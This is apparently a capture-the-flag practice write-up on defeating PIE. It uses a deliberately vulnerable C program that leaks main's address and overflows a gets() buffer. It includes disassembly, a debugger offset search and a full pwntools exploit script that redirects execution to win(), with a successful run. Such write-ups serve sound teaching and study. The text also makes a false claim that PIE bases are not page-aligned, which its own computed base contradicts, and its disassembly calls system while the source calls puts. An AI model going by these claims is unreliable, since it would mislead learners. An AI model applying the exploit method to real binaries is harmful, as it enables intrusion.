PIE Exploitation with Address Leak: Defeating Position Independence
Challenge 6: PIE Exploitation with Address Leak (6_simple.c
)
Source Code:
#include <stdio.h>
int main() {
vuln();
return 0;
}
void vuln() {
char buffer[20];
printf("Main Function is at: %p\n", main); // <- Address leak vulnerability
gets(buffer); // <- Buffer overflow vulnerability
}
int win() {
puts("[+] You win");
return 0;
}
// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -Wl,-z,norelro -o bin/6_simple src/6_simple.c
This demonstrates the fundamental technique for bypassing Position Independent Executable (PIE) protection by leaking a code address and calculating the runtime base.
Binary Setup
gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -Wl,-z,norelro -o bin/6_simple src/6_simple.c
Security Mitigations:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled <- Key protection we need to bypass
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
Key Vulnerabilities:
- Address Disclosure:
printf("Main Function is at: %p\n", main)
leaks the runtime address of main() - Buffer Overflow:
gets(buffer)
allows unlimited input into 20-byte buffer
PIE Bypass Process
Step 1: Understanding PIE Randomization
When PIE is enabled, the binary loads at a random base address:
ian@vps:~/pwn/pwnpractice$ ./bin/6_simple
Main Function is at: 0x555555555189 # Changes each run
Step 2: Static Analysis - Find Function Offsets
gef> disas main
Dump of assembler code for function main:
0x0000000000001189 <+0>: endbr64 # main() at offset 0x1189
0x000000000000118d <+4>: push rbp
0x000000000000118e <+5>: mov rbp,rsp
0x0000000000001191 <+8>: mov eax,0x0
0x0000000000001196 <+13>: call 0x11a2 <vuln>
0x000000000000119b <+18>: mov eax,0x0
0x00000000000011a0 <+23>: pop rbp
0x00000000000011a1 <+24>: ret
End of assembler dump.
gef> disas win
Dump of assembler code for function win:
0x00000000000011e0 <+0>: endbr64 # win() at offset 0x11e0
0x00000000000011e4 <+4>: push rbp
0x00000000000011e5 <+5>: mov rbp,rsp
0x00000000000011e8 <+8>: lea rax,[rip+0xe2e]
0x00000000000011ef <+15>: mov rdi,rax
0x00000000000011f2 <+18>: mov eax,0x0
0x00000000000011f7 <+23>: call 0x1070 <system@plt>
0x00000000000011fc <+28>: nop
0x00000000000011fd <+29>: pop rbp
0x00000000000011fe <+30>: ret
End of assembler dump.
Key Offsets:
main()
:0x1189
win()
:0x11e0
Step 3: Buffer Overflow Analysis
Find the overflow offset using cyclic pattern:
gef> x/20gx $rsp
0x7fffffffdd38: 0x6161616161616166 0x6161616161616167
0x7fffffffdd48: 0x6161616161616168 0x6161616161616169
0x7fffffffdd58: 0x616161616161616a 0x616161616161616b
0x7fffffffdd68: 0x616161616161616c 0x00007f006161616d
0x7fffffffdd78: 0x1bafba65b7578c9a 0x0000000000000001
0x7fffffffdd88: 0x0000000000000000 0x0000555555557168
0x7fffffffdd98: 0x00007ffff7ffd000 0x1bafba65b6378c9a
0x7fffffffdda8: 0x1bafaa1f4f958c9a 0x00007fff00000000
gef> pattern search 0x6161616161616166
[+] Searching for b'faaaaaaa'
[+] Found at offset 40 (0x28)
Result: Need 40 bytes of padding to reach return address.
Exploitation Implementation
Python Exploit Analysis
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF('/home/ian/pwn/pwnpractice/bin/6_simple')
io = start()
io.recvuntil('Main Function is at: ')
main = int(io.recvline(), 16) # Parse leaked main() address
# Calculate PIE base: leaked_address - static_offset
exe.address = main - exe.sym['main'] # exe.sym['main'] = 0x1189
print(f'PIE base: {hex(exe.address)}')
# Calculate win() address: pie_base + win_offset
print(f'Win address: {hex(exe.sym['win'])}') # exe.sym['win'] resolves automatically
# Build exploit payload
payload = b"A" * 40 # Padding to return address
payload += p64(exe.sym['win']) # Overwrite with win() address
io.send(payload)
io.interactive()
Step-by-Step Calculation
- Leaked Address:
0x555555555189
(main function) - Static Offset:
0x1189
(from disassembly) - PIE Base:
0x555555555189 - 0x1189 = 0x555555554000
- Win Address:
0x555555554000 + 0x11e0 = 0x5555555551e0
Successful Exploitation
ian@vps:~/pwn/pwnpractice$ python3 solves/6_simple.py
[*] '/home/ian/pwn/pwnpractice/bin/6_simple'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
PIE base: 0x555555554000 # Calculated base address
Win address: 0x5555555551e0 # Calculated win() address
$
[+] You win
Key Learning Points
PIE Bypass Requirements
- Information Leak: Need any code address to calculate base
- Static Analysis: Find function offsets in binary
- Runtime Calculation:
target_function = pie_base + static_offset
Common PIE Leak Sources
- Function pointer prints (like this example)
- Format string vulnerabilities
- Stack/heap dumps containing code pointers
- Use-after-free with function pointers
PIE Base Calculation
PIE exploitation requires precise address calculation using leaked code addresses:
# The ONLY reliable method for PIE base calculation
pie_base = leaked_code_address - static_offset_of_leaked_function
# In this case
pie_base = leaked_main - 0x1189 # 0x555555555189 - 0x1189 = 0x555555554000
Critical Note: Unlike stack/heap ASLR which has page alignment properties, PIE binaries can load at arbitrary addresses determined by the dynamic loader. There is NO reliable pattern in the lower bits, and the entire base address is effectively randomized.
Why offset subtraction is necessary:
- PIE bases are NOT page-aligned
- ALL bits of the base address can vary between runs
- Only the relative offsets between functions remain constant
- Must know the exact offset of the leaked function
Finding Static Offsets:
# Method 1: objdump
objdump -t bin/6_simple | grep -E "(main|win)"
# Method 2: readelf symbols
readelf -s bin/6_simple | grep -E "(main|win)"
# Method 3: GDB disassembly
gdb bin/6_simple
(gdb) info functions
(gdb) p main
(gdb) p win
Pwntools Integration
# Pwntools automatically handles PIE calculations
exe.address = pie_base # Set PIE base
target_addr = exe.sym['win'] # Automatically resolves to pie_base + offset
This technique forms the foundation for most PIE bypass exploits in CTFs and real-world scenarios.
Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.